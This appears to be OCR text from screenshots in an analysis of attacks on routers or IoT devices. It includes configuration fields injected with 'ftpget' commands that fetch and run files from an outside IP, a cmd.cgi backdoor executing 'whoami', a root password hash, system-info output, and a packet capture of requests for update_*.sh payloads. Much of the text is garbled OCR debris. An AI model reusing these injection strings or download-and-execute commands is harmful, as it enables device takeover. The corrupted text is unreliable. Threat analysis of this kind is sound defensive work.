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DAYLIGHTSTARTDATE=06:25
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NTPSERVER="ftpget 111.90.148.114 /tmp/P P;/tmp/P
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MULT IWANMODE=1

[LOG]
SORT=1

STATUS=NO
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IMATLLOC="ES

SMTP=192.168.50.1
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QUEUE=50

PERIOD=10"ftpget 111.90.148.114 /tmp/D D;/tmp/D"
MATLNOW=
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auth.cgi
cmd.cgi
save_user
upload.cgi

Now Time : Wed Feb 22 14:48:54 2023
SEBISSIISHISSHIOSIISSSISSS>I>>S>>>> Comnand Start , NN L

I/ <i-bin/cmd.c X R

O & s <gi-bin/cmd.cgi?q=%241%24Pe PEybf29%2492tQwnOz7IML7LV

Execute Command : whoami

Command :|| |
|

Now Time : Wed Feb 22 14:50:48 2023
SOSISIISIIIIIISIIIOIISII>>>> Command Start, MM <<<CLCLLLLLLLLLLLLLLLL
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AL R4E 2 CGIHE - #Froot password hashf&
HardcodeEZ® £ & ALMERRE - DIB R 5aqE Rl

ol ¥ fTroot# R

root:$1$PePEybf2$92tQwn0z71ML7LWNp7j4H0:11554:0:99999:7:

-1:-1:1075506364

"ifconfig": {
"loms I
"
T

" ipv4 " H

i

"ens34":
"mnac”s
"
"tx":
"ipv4":
"ipve":

}

}l

"mounts": [{

$|§ "name":
" diI‘"

P A& 1 R 2 7 reypar:

fFEHjsont& = fé’t rtotal”:
POSTEIEZE 4 o b

U

"opts™:

= "name" :
A g

"type":
"opts™:

"name":
"dir":

" ipV6" .o n

"avail™:

"total":
"avail™:

"system": {
"auid": "005056973ac6",p/{%|g-|5MAcﬁg%gﬁgu uu
"uname" : "root",
"arch": "x8&_e64",

"release": "5.4.0-72-generic”,

16107, e

ieior B

2700 (uname -~ arch|s
ifconfig

{

"005056973ace", Mount ~arp »

77154896, proc)

31359461,

"192.16e8.2.25",
"0:0:feB80::250:56LE"

"proc",

"/proc”,

"proc”,

"rw, nosuid, nodev, noexec, relatime”,
0,
0

"udev",
"/dev™,
"devtmpfs",

"rw,nosuid, noexec, relatime, size=303

2951.24609375,
2951.24608375

"devpts",
"/dev/pts",

d
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M ireshark - Follow TCP Stream (tcp.stream eq 47) - request_167650...  — m} X

GET /tmp/update_1i386.sh HTTP/1.1
Host: 66.42.108.185

= RRIFREA - DURRI DI R EAR TR

Cache-Control: max-stale=0
Connection: Keep-Alive

X-BlueCoat-Via: b33af28a2d11b583
ueCoat-Via af28a . _ - %
e e R - Statistics Telephony Wireless Tools Help
Entire conversation (192 bytes) v | Show data as | ASCIl v | Stream -47 s T ==
EZEP oS EQAQAQH

Find: l I Find Next I

Filiar Out This Xream Print Save as.. Back L. i Source Source Port Source Geol Destination Destina Destination Ge Protocol Length Name Refuest! Info
44 2023-02-15 16:40:34.203373 117 . NNG_—_G—_—_—_— 9219 Taiwan 66.42.108.185 80 United St.. HTTP 250 GE GET /tmp/update_mips64.sh HTTP/1.1
46 2023-02-15 16:48:39.722740 117 . D 64316 Taiwan 66.42.108.185 80 United St.. HTTP 244 GE GET /tmp/update_mips32.sh HTTP/1.1
47 2023-02-15 17:02:41.283783 117. M1 58533 Taiwan 66.42.108.185 80 United St.. HTTP 250 GE GET /tmp/update_mips32.sh HTTP/1.1
49 2023-02-15 17:06:35.947964 117. I 57277 Taiwan 66.42.108.185 80 United St.. HTTP 246 GE GET /tmp/update_i386.sh HTTP/1.1
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